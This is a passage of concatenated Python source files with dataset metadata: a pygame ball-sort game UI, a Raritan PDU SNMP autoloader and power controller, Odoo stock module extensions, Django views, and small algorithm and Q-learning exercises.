play_solved(self):\n\n move = self.get_next_move()\n if move[0] == -2:\n self.end_game()\n return\n\n self.cur_game.move_ball(move[0], move[1])\n self.watch_move(move)\n self.curNode += 1\n next_move = self.get_next_move()\n if next_move[0] != -2:\n self.update_hint_arrows(next_move)\n else:\n self.hide_hint_arrows()\n\n def watch_move(self, move):\n\n self.move_num.increase_score()\n ball = self.tubes[move[0]].remove_ball()\n if self.tubes[move[1]].add_ball(ball):\n self.dj.complete_tube()\n\n # Select/Deselect flasks\n def deselect(self):\n self.tubes[self.selected].select()\n self.selected = -1\n\n def select(self, tube):\n self.tubes[tube].select()\n self.selected = tube\n\n # Hint functions\n def update_hint(self):\n init_state = Node(self.cur_game)\n result = solver(init_state, Algorithm.A_STAR, 30)\n if result[1] is None:\n self.hint_available = False\n self.hide_hint_arrows()\n return\n path = result[0].path(result[1])\n if len(path) > 1:\n self.hint_available = True\n hint = self.find_differences(path[1])\n self.update_hint_arrows(hint)\n\n def update_hint_arrows(self, hint):\n self.hint_up.sprite.rect.left = self.tubes[hint[0]].coords[0] + 5\n self.hint_up.sprite.rect.top = self.tubes[hint[0]].coords[1] - 130\n self.hint_down.sprite.rect.left = self.tubes[hint[1]].coords[0] + 5\n self.hint_down.sprite.rect.top = self.tubes[hint[1]].coords[1] - 130\n\n def hide_hint_arrows(self):\n self.hint_up.sprite.rect.left = 8000\n self.hint_up.sprite.rect.top = 8000\n\n self.hint_down.sprite.rect.left = 8000\n self.hint_down.sprite.rect.top = 8000\n\n def find_differences(self, node):\n tube_from = -1\n tube_to = -1\n game1 = self.cur_game\n game2 = node.gamestate\n\n for i in range(0, len(game2.tubes)):\n if len(game1.tubes[i].balls) > len(game2.tubes[i].balls):\n tube_from = i\n elif len(game1.tubes[i].balls) < len(game2.tubes[i].balls):\n tube_to = i\n\n if (tube_from != -1 and tube_to != -1):\n return [tube_from, tube_to]\n return [tube_from, tube_to]\n\n def get_next_move(self):\n if (self.curNode == len(self.solvedPath) - 1):\n return [-2, -2]\n node1 = self.solvedPath[self.curNode]\n node2 = self.solvedPath[self.curNode + 1]\n tube_from = -1\n tube_to = -1\n game1 = node1.gamestate\n game2 = node2.gamestate\n for i in range(0, len(game2.tubes)):\n if len(game1.tubes[i].balls) > len(game2.tubes[i].balls):\n tube_from = i\n elif len(game1.tubes[i].balls) < len(game2.tubes[i].balls):\n tube_to = i\n\n if (tube_from != -1 and tube_to != -1):\n return [tube_from, tube_to]\n return [tube_from, tube_to]\n\n\npygame.init()\n\ngame = UI()\n\npygame.display.set_caption('Ballsort')\n\nwhile game.active:\n game.run()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n game.active = False\n\n pygame.display.update()\n\npygame.quit()\n","sub_path":"Project1/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":25736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"475060004","text":"from src.raritan.snmp_handler import SnmpHandler\nfrom cloudshell.shell.core.context import AutoLoadResource, AutoLoadDetails, AutoLoadAttribute\nfrom src.raritan.log_helper import LogHelper\n\n\nclass RaPxPduAutoloader(object):\n def __init__(self, context):\n self.context = context\n self.logger = LogHelper.get_logger(self.context)\n self.snmp_handler = SnmpHandler(self.context).get_raw_handler('get')\n\n def autoload(self):\n rv = AutoLoadDetails()\n rv.resources = []\n rv.attributes = []\n\n rv.attributes.append(self.makeattr('', 'Location', self.snmp_handler.get_property('PDU2-MIB', 'sysLocation', 0)))\n rv.attributes.append(self.makeattr('', 'Model', self.snmp_handler.get_property('PDU2-MIB', 'sysDescr', 0)))\n rv.attributes.append(self.makeattr('', 'Serial Number', self.snmp_handler.get_property('PDU2-MIB', 'pduSerialNumber', 0)))\n rv.attributes.append(self.makeattr('', 'Vendor', self.snmp_handler.get_property('PDU2-MIB', 'pduManufacturer', 0)))\n rv.attributes.append(self.makeattr('', 'Version', self.snmp_handler.get_property('PDU2-MIB', 'boardFirmwareVersion', 0)))\n\n pdu_name = self.snmp_handler.get_property('PDU2-MIB', 'sysName', 0)\n\n outlet_table = self.snmp_handler.get_table('PDU2-MIB', 'pmPowerMgmtOutletsTable')\n for index, attribute in outlet_table.iteritems():\n name = 'Outlet %s' % index\n relative_address = index\n unique_identifier = '%s.%s' % (pdu_name, index)\n\n rv.resources.append(self.makeres(name, 'Generic Power Socket', relative_address, unique_identifier))\n rv.attributes.append(self.makeattr(relative_address, 'Port Description', attribute['pmPowerMgmtOutletsTablePortName']))\n\n return rv\n\n def makeattr(self, relative_address, attribute_name, attribute_value):\n a = AutoLoadAttribute()\n a.relative_address = relative_address\n a.attribute_name = attribute_name\n a.attribute_value = attribute_value\n return a\n\n def makeres(self, name, model, relative_address, unique_identifier):\n r = AutoLoadResource()\n r.name = name\n r.model = model\n r.relative_address = relative_address\n r.unique_identifier = unique_identifier\n return r\n\n\nclass PmPduHandler:\n class Port:\n def __init__(self, port):\n self.address, port_details = port.split('/')\n self.port_number, self.pdu_number, self.outlet_number = port_details.split('.')\n\n def __init__(self, context):\n self.context = context\n self.logger = LogHelper.get_logger(self.context)\n self.snmp_handler = SnmpHandler(self.context)\n\n def get_inventory(self):\n autoloader = PmPduAutoloader(self.context)\n\n return autoloader.autoload()\n\n def power_cycle(self, port_list, delay):\n self.logger.info(\"Power cycle called for ports %s\" % port_list)\n for raw_port in port_list:\n self.logger.info(\"Power cycling port %s\" % raw_port)\n port = self.Port(raw_port)\n self.logger.info(\"Powering off port %s\" % raw_port)\n self.snmp_handler.set(ObjectIdentity('PM-MIB', 'pmPowerMgmtOutletsTablePowerControl', port.port_number, port.pdu_number, port.outlet_number),\n Gauge32(3))\n self.logger.info(\"Sleeping %f second(s)\" % delay)\n sleep(delay)\n self.logger.info(\"Powering on port %s\" % raw_port)\n self.snmp_handler.set(ObjectIdentity('PM-MIB', 'pmPowerMgmtOutletsTablePowerControl', port.port_number, port.pdu_number, port.outlet_number),\n Gauge32(2))\n\n def power_off(self, port_list):\n self.logger.info(\"Power off called for ports %s\" % port_list)\n for raw_port in port_list:\n self.logger.info(\"Powering off port %s\" % raw_port)\n port = self.Port(raw_port)\n self.snmp_handler.set(ObjectIdentity('PM-MIB', 'pmPowerMgmtOutletsTablePowerControl', port.port_number, port.pdu_number, port.outlet_number),\n Gauge32(3))\n\n def power_on(self, port_list):\n self.logger.info(\"Power on called for ports %s\" % port_list)\n for raw_port in port_list:\n self.logger.info(\"Powering on port %s\" % raw_port)\n port = self.Port(raw_port)\n self.snmp_handler.set(ObjectIdentity('PM-MIB', 'pmPowerMgmtOutletsTablePowerControl', port.port_number, port.pdu_number, port.outlet_number),\n Gauge32(2))\n\n","sub_path":"raritan/autoload/ra_px_pdu_autoloader.py","file_name":"ra_px_pdu_autoloader.py","file_ext":"py","file_size_in_byte":4576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"266020797","text":"from openerp import models, fields, api\nfrom openerp.exceptions import Warning\nfrom openerp.tools.translate import _\nimport time\nfrom openerp.tools import DEFAULT_SERVER_DATETIME_FORMAT, DEFAULT_SERVER_DATE_FORMAT\nfrom openerp.tools.float_utils import float_compare\nimport logging\n_logger = logging.getLogger(__name__)\n\nclass StockTransferDetails(models.TransientModel):\n _inherit = 'stock.transfer_details'\n\n @api.one\n def do_detailed_transfer(self):\n res = super(StockTransferDetails,self).do_detailed_transfer()\n \n return self.picking_id.do_print_picking()\n\n\nclass StockMoveOperationLink(models.Model):\n _inherit = 'stock.move.operation.link'\n \n move_id = fields.Many2one(index=True)\n reserved_quant_id = fields.Many2one(index=True) \n \nclass StockWarehouse(models.Model):\n _inherit='stock.warehouse'\n \n default_user_ids = fields.One2many('res.users','default_warehouse_id',string='Users Default Warehouse',help='Users that have defined this warehouse as default')\n\nclass stock_warehouse_orderpoint(models.Model):\n _inherit = 'stock.warehouse.orderpoint'\n stocked_for_customer = fields.Boolean('Stocked for customer')\n\nclass procurement_order(models.Model): \n _inherit = 'procurement.order'\n \n @api.model\n @api.returns('self', lambda value:value.id)\n def create(self, vals):\n new_procurement = super(procurement_order, self).create(vals)\n if self._context.get('from_scheduler'):\n new_procurement.run()\n new_procurement.check()\n return new_procurement\n \n @api.model\n def _procure_orderpoint_confirm(self, use_new_cursor=False, company_id = False):\n return super(procurement_order, self.with_context(make_po=False))._procure_orderpoint_confirm(use_new_cursor,company_id)\n \n @api.model\n def run_procurements(self):\n procurements_confirmed = self.sudo().search([('state', '=', 'confirmed')])\n _logger.warn('Running %s procurements', str(len(procurements_confirmed))) \n procurements_confirmed.with_context(from_scheduler=True).run()\n return {}\n \n @api.model\n def check_procurements(self):\n procurements_running = self.sudo().search([('state', '=', 'running')])\n _logger.warn('Check %s procurements', str(len(procurements_running)))\n procurements_running.with_context(from_scheduler=True).check()\n return {}\n \n\n\n \nclass stock_picking(models.Model):\n _inherit = 'stock.picking'\n \n picking_type_id = fields.Many2one(track_visibility=\"onchange\")\n group_id = fields.Many2one(index=True)\n section_id = fields.Many2one('crm.case.section', string=\"Sales team\", compute=\"_get_section_id\", store=True)\n reservation_name = fields.Char('Linked reservation', compute='_get_reservation_name')\n state = fields.Selection(store=True,compute='_state_get_elneo')\n \n \n @api.multi\n def action_cancel(self):\n #if we are in reception, do not propagate cancel action\n #warning : propagate = False is not a good id cause this parameter is also used to split\n if self.picking_type_id and self.picking_type_id.code == 'incoming': \n res = super(stock_picking, self.with_context(do_not_propagate=True)).action_cancel()\n else:\n res = super(stock_picking,self).action_cancel()\n return res\n \n \n @api.multi\n @api.depends('move_type','move_lines.state','move_lines.picking_id','move_lines.partially_available')\n def _state_get_elneo(self):\n '''Solution for a state sync problem\n '''\n res = super(stock_picking,self)._state_get(['state'],{})\n for pick in self:\n if res and res.has_key(pick.id):\n pick.state = res[pick.id]\n \n \n \n @api.model\n def check_availability(self):\n self._cr.execute('''select distinct p.id \nfrom stock_picking p \nleft join stock_move m on m.picking_id = p.id \nwhere \np.state in ('waiting','confirmed','partially_available') \nand m.state not in ('draft', 'cancel', 'done')\ngroup by p.id\nhaving\ncount(m.id) > 0''')\n res = self._cr.fetchall()\n picking_ids = [r[0] for r in res]\n pickings = self.browse(picking_ids)\n _logger.warn('Check %s pickings', str(len(pickings)))\n pickings.with_context(from_scheduler=True).recheck_availability()\n return {}\n \n @api.one\n def _get_reservation_name(self):\n if self.group_id:\n int_pickings = self.env['stock.picking'].search([('group_id','=',self.group_id.id), ('picking_type_id.code','=','internal')])\n self.reservation_name = ','.join([int_picking.name for int_picking in int_pickings])\n \n @api.one\n def _get_section_id(self):\n self.section_id = self.create_uid.default_section_id\n \n '''\n @api.cr_uid_ids_context\n def do_enter_transfer_details(self, cr, uid, picking, context=None):\n pick = self.browse(cr, uid, picking, context)\n if pick.picking_type_id and pick.picking_type_id.code == 'internal':\n raise Warning(_('You must validate a reservation line by line'))\n \n return super(stock_picking,self).do_enter_transfer_details(cr, uid, picking, context)\n '''\n \n @api.cr_uid_ids_context\n def do_transfer(self, cr, uid, picking_ids, context=None):\n \n res = super(stock_picking,self).do_transfer(cr, uid, picking_ids, context)\n for pick in self.browse(cr, uid, picking_ids, context):\n pick.action_sync()\n return res\n \n \n @api.returns('self')\n def search(self, cr, user, args, offset=0, limit=None, order=None, context=None, count=False):\n #if my_dpt : display picking of sale teams of current user. If user is not linked to a sale team, display all picks \n section_ids = self.pool.get('crm.case.section').search(cr, user, [('member_ids','in',user)], context=context)\n if context.get('my_dpt_stock',False) and section_ids:\n args.append(('section_id','in',section_ids))\n res = super(stock_picking, self).search(cr, user, args, offset=offset, limit=limit, order=order, context=context, count=count)\n return res\n \n @api.model\n def _create_backorder(self, picking, backorder_moves=[]):\n if picking and picking.picking_type_id and picking.picking_type_id.id in (5,10):\n #if picking and picking.picking_type_id and picking.picking_type_id.no_back_order:\n return False\n else:\n return super(stock_picking,self)._create_backorder(picking, backorder_moves)\n\nstock_picking()\n\nclass res_users(models.Model):\n _inherit = 'res.users'\n section_ids = fields.Many2many('crm.case.section', 'sale_member_rel', 'member_id', 'section_id', 'Sale teams')\n \nclass StockPickingType(models.Model):\n _inherit = 'stock.picking.type'\n \n def _get_picking_count(self, cr, uid, ids, field_names, arg, context=None):\n obj = self.pool.get('stock.picking')\n domains = {\n 'count_picking_draft': [('state', '=', 'draft')],\n 'count_picking_waiting': [('state', 'in', ['confirmed','waiting'])],\n 'count_picking_ready': [('state', 'in', ('assigned', 'partially_available'))],\n 'count_picking': [('state', 'in', ('assigned', 'waiting', 'confirmed', 'partially_available'))],\n 'count_picking_late': [('min_date', '<', time.strftime(DEFAULT_SERVER_DATETIME_FORMAT)), ('state', 'in', ('assigned', 'waiting', 'confirmed', 'partially_available'))],\n 'count_picking_backorders': [('backorder_id', '!=', False), ('state', 'in', ('confirmed', 'assigned', 'waiting', 'partially_available'))],\n }\n result = {}\n for field in domains:\n data = obj.read_group(cr, uid, domains[field] +\n [('state', 'not in', ('done', 'cancel')), ('picking_type_id', 'in', ids)],\n ['picking_type_id'], ['picking_type_id'], context=context)\n count = dict(map(lambda x: (x['picking_type_id'] and x['picking_type_id'][0], x['picking_type_id_count']), data))\n for tid in ids:\n result.setdefault(tid, {})[field] = count.get(tid, 0)\n for tid in ids:\n if result[tid]['count_picking']:\n result[tid]['rate_picking_late'] = result[tid]['count_picking_late'] * 100 / result[tid]['count_picking']\n result[tid]['rate_picking_backorders'] = result[tid]['count_picking_backorders'] * 100 / result[tid]['count_picking']\n else:\n result[tid]['rate_picking_late'] = 0\n result[tid]['rate_picking_backorders'] = 0\n return result\n \n default_picking_type = fields.Boolean('Default', help='If picking type is checked as default, it will be used by default in purchases and sale.')\n\nclass procurement_rule(models.Model):\n _inherit = 'procurement.rule'\n \n autovalidate_dest_move = fields.Boolean('Auto-validate destination move')\n\nprocurement_rule()\n\nclass StockPackOperation(models.Model):\n _inherit='stock.pack.operation'\n \n aisle = fields.Char('Aisle',compute='_aisle')\n \n @api.multi\n def _aisle(self):\n for m in self:\n if m.product_id and m.product_id.warehouse_detail and m.picking_id and m.picking_id.picking_type_id and m.picking_id.picking_type_id.warehouse_id:\n for detail in m.product_id.warehouse_detail:\n if detail.warehouse_id.id == m.picking_id.picking_type_id.warehouse_id.id:\n m.aisle = detail.aisle\n break;\n \n\nclass stock_move(models.Model):\n _inherit = 'stock.move'\n \n picking_type_code = fields.Selection(related='picking_id.picking_type_id.code')\n auto_validate_dest_move = fields.Boolean('Auto validate', related='procurement_id.rule_id.autovalidate_dest_move', help='If this move is \"autovalidate\", when it became assigned, it is automatically set as done.')\n procurement_id = fields.Many2one('procurement.order',index=True)\n split_from = fields.Many2one(index=True)\n route_ids=fields.Many2many(auto_join=True)\n product_id=fields.Many2one(auto_join=True)\n puchased = fields.Boolean('Purchased', compute='_purchased')\n aisle = fields.Char('Aisle', compute='_aisle')\n \n \n '''Adapt stock quantity to requested quantity of the move'''\n @api.multi\n def adapt_stock(self):\n \n #aggregate moves by product and location to know total quantity needed by location\n moves = {}\n for move in self:\n if not move.product_id.id in moves:\n moves[move.product_id.id] = {}\n if not move.location_id.id in moves[move.product_id.id]:\n moves[move.product_id.id][move.location_id.id] = {}\n moves[move.product_id.id][move.location_id.id]['moves'] = []\n moves[move.product_id.id][move.location_id.id]['total_qty'] = 0\n \n moves[move.product_id.id][move.location_id.id]['total_qty'] = moves[move.product_id.id][move.location_id.id]['total_qty'] + move.product_qty\n moves[move.product_id.id][move.location_id.id]['moves'].append(move)\n \n \n for product_id in moves:\n for location_id in moves[product_id]:\n \n move = moves[product_id][location_id]['moves'][0]\n \n inventory_obj = self.env['stock.inventory']\n inventory_line_obj = self.env['stock.inventory.line']\n \n #compute quantity\n needed_qty = moves[product_id][location_id]['total_qty']\n self._cr.execute('select sum(qty) from stock_quant where product_id = %s and location_id = %s and reservation_id is not null and reservation_id != %s;',(product_id,location_id,move.id))\n req_reserved_qty_result = self._cr.fetchone()\n if req_reserved_qty_result:\n reserved_qty = req_reserved_qty_result[0]\n else:\n reserved_qty = 0\n if not reserved_qty:\n reserved_qty = 0\n self._cr.execute('select sum(qty) from stock_quant where product_id = %s and location_id = %s and (reservation_id is null or reservation_id = %s);',(product_id,location_id, move.id))\n req_unreserved_qty_res = self._cr.fetchone()\n if req_unreserved_qty_res:\n unreserved_qty = req_unreserved_qty_res[0]\n else:\n unreserved_qty = 0\n if not unreserved_qty:\n unreserved_qty = 0\n new_stock_quantity = needed_qty+reserved_qty\n theoretical_qty = reserved_qty+unreserved_qty\n \n if new_stock_quantity > theoretical_qty:\n inventory = inventory_obj.create({\n 'name': 'FLD-'+move.name,\n 'filter': 'product',\n 'product_id': product_id,\n 'location_id': location_id\n })\n \n line_data = {\n 'inventory_id': inventory.id,\n 'product_qty': new_stock_quantity,\n 'location_id': location_id,\n 'product_id': product_id,\n 'product_uom_id': move.product_uom.id,\n 'theoretical_qty': theoretical_qty,\n }\n inventory_line_obj.create(line_data)\n inventory.action_done()\n \n \n @api.multi\n def force_assign(self):\n if self._context.get('from_force_assign',False): #prevent recursivity\n return\n \n for move in self:\n if move.location_id.usage != 'internal':\n continue;\n \n #before force assign, check availability\n move.with_context(from_force_assign=True).action_assign() #Attention : boucle recursive !!\n \n #before force assign, adapt stock minimaly to requested quantity\n move.adapt_stock();\n \n #delete move_dest_id of linked reception if exists\n previous_moves = self.env['stock.move'].search([('move_dest_id','=',move.id),('picking_id.picking_type_id.code','=','internal')])\n for previous_move in previous_moves:\n previous_move.move_dest_id = None\n \n res = super(stock_move,self).force_assign()\n return res\n \n @api.multi\n def _aisle(self):\n for m in self:\n if m.product_id and m.product_id.warehouse_detail and m.picking_id and m.picking_id.picking_type_id and m.picking_id.picking_type_id.warehouse_id:\n for detail in m.product_id.warehouse_detail:\n if detail.warehouse_id.id == m.picking_id.picking_type_id.warehouse_id.id:\n m.aisle = detail.aisle\n break;\n \n \n @api.multi\n def _purchased(self):\n def has_purchase(m):\n if m.purchase_line_id:\n return True\n else:\n #find parent\n parent_moves = self.search([('move_dest_id','=',m.id)])\n if not parent_moves:\n return False\n for parent_move in parent_moves:\n if has_purchase(parent_move):\n return True\n return False\n \n for move in self:\n #find if a move linked to this move has purchase_line_id\n move.purchased = has_purchase(move)\n \n @api.model\n def _prepare_procurement_from_move(self, move):\n res = super(stock_move,self)._prepare_procurement_from_move(move)\n res['origin'] = move.group_id and move.group_id.name or ''\n if move.product_id:\n res['name'] = move.product_id.name_get()[0][1]\n if move.procurement_id and move.procurement_id.sale_line_id:\n res['sale_line_id'] = move.procurement_id.sale_line_id.id\n return res\n \n @api.multi\n def action_partial_move(self):\n partial_id = self.env[\"transfert.move.wizard\"].create({})\n return {\n 'name':_(\"Products to Process\"),\n 'view_mode': 'form',\n 'view_id': False,\n 'view_type': 'form',\n 'res_model': 'transfert.move.wizard',\n 'res_id': partial_id.id,\n 'type': 'ir.actions.act_window',\n 'nodestroy': True,\n 'target': 'new',\n 'domain': '[]',\n 'context': self._context\n }\n \n @api.multi\n def write(self, vals):\n if ('product_uom_qty' in vals):\n self.notify_picking(vals['product_uom_qty'])\n #by default, odoo delete link to move_dest_id in action_cancel. Change it by passing parameter in context and change behavior in write function.\n if self._context.get('action_cancel',False) and 'move_dest_id' in vals:\n vals.pop('move_dest_id')\n \n res = super(stock_move,self).write(vals) \n if ('state' in vals) or ('picking_id' in vals):\n self.state_change()\n \n \n return res\n \n @api.multi\n def notify_picking(self,new_val):\n message = ''\n for move in self:\n if move.product_uom_qty != new_val:\n name = move.name\n message += _('The quantity for the move %s has changed : %s -> %s
') % (name, str(move.product_uom_qty),str(new_val))\n \n if message != '':\n move.picking_id.message_post(body=message)\n \n @api.multi\n def state_change(self):\n for move in self:\n if move.picking_id:\n move.picking_id.action_sync()\n \n '''\n TODO: HERESIE !!!\n @api.multi\n def action_assign(self):\n for move in self:\n previous_moves = self.search([('move_dest_id','=',move.id)])\n all_previous_move_done = False\n if previous_moves:\n all_previous_move_done = True\n for previous_move in previous_moves:\n if previous_move.state != 'done':\n all_previous_move_done = False\n break;\n if all_previous_move_done:\n move.force_assign()\n else:\n super(stock_move, move).action_assign()\n '''\n \n \n #check availability automatically\n @api.multi\n def action_confirm(self):\n res = super(stock_move, self).action_confirm()\n pickings = set()\n for move in self:\n pickings.add(move.picking_id)\n for picking in pickings:\n picking.action_assign()\n return res\n \n @api.one\n def _do_recompute_picking_operations(self):\n \n existing_packages = self.env['stock.pack.operation'].search([('picking_id', '=', self.picking_id.id)])\n if existing_packages:\n existing_packages.unlink()\n \n self.picking_id.do_recompute_remaining_quantities()\n \n return True\n \n @api.multi\n def action_cancel(self):\n #Artificially change value of propagate in accordance with do_not_propagate parameter (will be changed at the end of the function)\n if self._context.get('do_not_propagate',False):\n propagate_old_values = {}\n for move in self:\n propagate_old_values[move.id] = move.propagate\n move.propagate = False\n \n #by default, odoo delete link to move_dest_id in action_cancel. Change it by passing parameter in context and change behavior in write function.\n res = super(stock_move, self.with_context(action_cancel=True)).action_cancel()\n \n if self._context.get('do_not_propagate',False):\n for move in self:\n move.propagate = propagate_old_values[move.id]\n return res\n \n @api.multi\n def action_done(self):\n #when a move is done, if it's flagged as \"autovalidate_dest_move\", call action_done on dest_move \n res = super(stock_move, self).action_done()\n for move in self:\n split = False\n if move.auto_validate_dest_move and move.move_dest_id:\n if move.move_dest_id.product_uom_qty != move.product_uom_qty:\n rest = move.move_dest_id.product_uom_qty - move.product_uom_qty\n if rest > 0:\n split = True\n new_dest_move = self.env['stock.move'].split(move.move_dest_id,rest)\n move.move_dest_id._do_recompute_picking_operations()\n move.move_dest_id.action_done()\n \n # The original move to put the good move_dest_id\n if split:\n new_origin_move = move.search([('split_from','=',move.id)])\n if new_origin_move and new_dest_move:\n if isinstance(new_dest_move,int):\n new_dest_move = self.env['stock.move'].browse(new_dest_move)\n new_dest_move.move_dest_id = new_origin_move\n return res\n \n #reservation will be available when at least one product is available. for delivery order it depends on sale order.\n def _prepare_picking_assign(self, cr, uid, move, context=None):\n res = super(stock_move, self)._prepare_picking_assign(cr, uid, move, context=context)\n if move.picking_type_id and move.picking_type_id.code == 'internal':\n res['move_type'] = 'direct'\n return res\n \n \n #include assigned and partially_available state in query\n @api.cr_uid_ids_context\n def _picking_assign(self, cr, uid, move_ids, procurement_group, location_from, location_to, context=None):\n \"\"\"Assign a picking on the given move_ids, which is a list of move supposed to share the same procurement_group, location_from and location_to\n (and company). Those attributes are also given as parameters.\n \"\"\"\n pick_obj = self.pool.get(\"stock.picking\")\n # Use a SQL query as doing with the ORM will split it in different queries with id IN (,,)\n # In the next version, the locations on the picking should be stored again.\n query = \"\"\"\n SELECT stock_picking.id FROM stock_picking, stock_move\n WHERE\n stock_picking.state in ('draft', 'confirmed', 'waiting', 'assigned','partially_available') AND\n stock_move.picking_id = stock_picking.id AND\n stock_move.location_id = %s AND\n stock_move.location_dest_id = %s AND\n \"\"\"\n params = (location_from, location_to)\n if not procurement_group:\n query += \"stock_picking.group_id IS NULL LIMIT 1\"\n else:\n query += \"stock_picking.group_id = %s LIMIT 1\"\n params += (procurement_group,)\n cr.execute(query, params)\n [pick] = cr.fetchone() or [None]\n if not pick:\n move = self.browse(cr, uid, move_ids, context=context)[0]\n values = self._prepare_picking_assign(cr, uid, move, context=context)\n pick = pick_obj.create(cr, uid, values, context=context)\n return self.write(cr, uid, move_ids, {'picking_id': pick}, context=context)\n \n \nstock_move()\n\nclass product_template(models.Model):\n _inherit = 'product.template'\n\n #Update default product route to add Make to order\n def _get_buy_route(self):\n res=[]\n res = super(product_template,self)._get_buy_route()\n \n buy_route = self.env['ir.model.data'].xmlid_to_res_id('stock.route_warehouse0_mto')\n if buy_route and buy_route not in res:\n res.append(buy_route)\n \n\n return res\n \n \n route_ids = fields.Many2many('stock.location.route', 'stock_route_product', 'product_id', 'route_id', 'Routes', domain=\"[('product_selectable', '=', True)]\",default=_get_buy_route,\n help=\"Depending on the modules installed, this will allow you to define the route of the product: whether it will be bought, manufactured, MTO/MTS,...\")\n \nproduct_template()\n\n\nclass StockQuant(models.Model):\n _inherit='stock.quant'\n \n @api.model\n def quants_reserve(self,quants, move, link=False):\n '''This function solve a problem if action_assign or this function is called even the quants are\n reserved for the move\n\n :param quants: list of tuple(quant browse record or None, qty to reserve). If None is given as first tuple element, the item will be ignored. Negative quants should not be received as argument\n :param move: browse record\n :param link: browse record (stock.move.operation.link)\n '''\n reserved_availability = move.reserved_availability\n rounding = move.product_id.uom_id.rounding\n if float_compare(reserved_availability, move.product_qty, precision_rounding=rounding) == -1 :\n return super(StockQuant,self).quants_reserve(quants,move,link)\n \n return True\n \n","sub_path":"elneo_stock/elneo_stock.py","file_name":"elneo_stock.py","file_ext":"py","file_size_in_byte":25319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"167469994","text":"from django.views.generic import ListView, DetailView\nfrom django.utils import timezone\n\nfrom .models import Place\n\n\nclass PlaceListView(ListView):\n model = Place\n context_object_name = 'places'\n paginate_by = 9\n\n\nclass PlaceDetailView(DetailView):\n model = Place\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['events'] = self.get_object().event_set.filter(\n event_date__gte=timezone.now(),\n is_published=True,\n is_approved=True,\n ).all()[:9]\n context['past_events'] = self.get_object().event_set.filter(\n event_date__lt=timezone.now(),\n is_published=True,\n is_approved=True,\n ).order_by('-event_date').all()[:9]\n return context\n","sub_path":"places/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"193767682","text":"# https://leetcode.com/problems/minimum-height-trees/\n\n# A tree is an undirected graph in which any two vertices are connected by exactly\n# one path. In other words, any connected graph without simple cycles is a tree.\n\n# Given a tree of n nodes labelled from 0 to n - 1, and an array of n - 1 edges\n# where edges[i] = [ai, bi] indicates that there is an undirected edge between\n# the two nodes ai and bi in the tree, you can choose any node of the tree as the root.\n# When you select a node x as the root, the result tree has height h.\n# Among all possible rooted trees, those with minimum height (i.e. min(h))\n# are called minimum height trees (MHTs).\n\n# Return a list of all MHTs' root labels. You can return the answer in any order.\n\n# The height of a rooted tree is the number of edges on the longest downward path\n# between the root and a leaf.\n\n\nfrom typing import List\nimport collections\n\n\nclass Solution:\n def findMinHeightTrees(self, n: int, edges: List[List[int]]) -> List[int]:\n if n <= 2:\n return range(n)\n\n # convert edges to graph\n graph = collections.defaultdict(list)\n for a, b in edges:\n graph[a].append(b)\n graph[b].append(a)\n\n # find inital leaves\n leaves = []\n for key in range(n):\n if len(graph[key]) == 1:\n leaves.append(key)\n\n # remove leaves until nodes less than 2 left\n while n > 2:\n n -= len(leaves)\n new_leaves = []\n\n for leaf in leaves:\n neighbor = graph[leaf].pop()\n graph[neighbor].remove(leaf)\n if len(graph[neighbor]) == 1:\n new_leaves.append(neighbor)\n\n leaves = new_leaves\n\n return leaves\n","sub_path":"LeetCode/9. 트리/310-minimum-height-trees.py","file_name":"310-minimum-height-trees.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"357897860","text":"# -*- coding=utf-8 -*-\nclass TreeNode():\n def __init__(self, val):\n self.val = val\n self.left = None\n self.right = None\n\n\nclass Solution():\n \"\"\"分层之字形打印二叉树\n \"\"\"\n\n def Print(self, pRoot):\n if pRoot is None:\n return []\n\n s1, s2, res = [], [], []\n s1.append(pRoot)\n while s1 or s2:\n if s1:\n cur_level_res = []\n while s1:\n item = s1.pop()\n cur_level_res.append(item.val)\n if item.left:\n s2.append(item.left)\n if item.right:\n s2.append(item.right)\n res.append(cur_level_res)\n\n if s2:\n cur_level_res = []\n while s2:\n item = s2.pop()\n cur_level_res.append(item.val)\n if item.right:\n s1.append(item.right)\n if item.left:\n s1.append(item.left)\n res.append(cur_level_res)\n \n return res\n\n \ndef main():\n root = TreeNode(1)\n root.left = TreeNode(2)\n root.right = TreeNode(3)\n root.left.left = TreeNode(4)\n root.left.right = TreeNode(5)\n root.right.left = TreeNode(6)\n root.right.right = TreeNode(7)\n ex = Solution()\n print(ex.Print(root))\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"32_3_zigzag_traverse_of_binary_tree.py","file_name":"32_3_zigzag_traverse_of_binary_tree.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"19"} +{"seq_id":"284545141","text":"import gym\nimport numpy as np\nfrom agents import abstract_agent\nfrom collections import OrderedDict\n\n\nclass TableQAgent(abstract_agent.Agent):\n \"\"\"Table-Q Agent\n \n ハッシュテーブルを用いてQ学習を行うagent\n 穴埋めコードです\n\n Args:\n env (gym.Env): 環境(観測・行動の空間を知るために使う)\n \"\"\"\n\n def __init__(self, env):\n self.observation_num = {key: val.n for key, val in env.observation_space.spaces.items()}\n self.action_num = env.action_space.n\n # 前回の観測・行動\n self.last_obs = None\n self.last_action = None\n # Q値\n self.q_table = {}\n # 学習率\n self.learning_rate = 0.1\n # 割引率\n self.discount_factor = 0.95\n # epsilon (ランダムに動く確率)\n self.exploration_prob = 0.3\n\n def act_and_train(self, obs, reward, done):\n # self.exploration_prob = 0.3 #3.4.9\n self.train(obs, reward)\n return self.select_action(obs)\n\n def act(self, obs):\n # self.exploration_prob = 0 #3.4.9\n return self.select_action(obs)\n\n def stop_episode_and_train(self, obs, reward, done=False):\n self.train(obs, reward)\n self.stop_episode()\n\n def stop_episode(self):\n self.last_obs = None\n self.last_action = None\n\n def save(self, dirname):\n pass\n\n def load(self, dirname):\n pass\n\n def get_statistics(self):\n return []\n\n 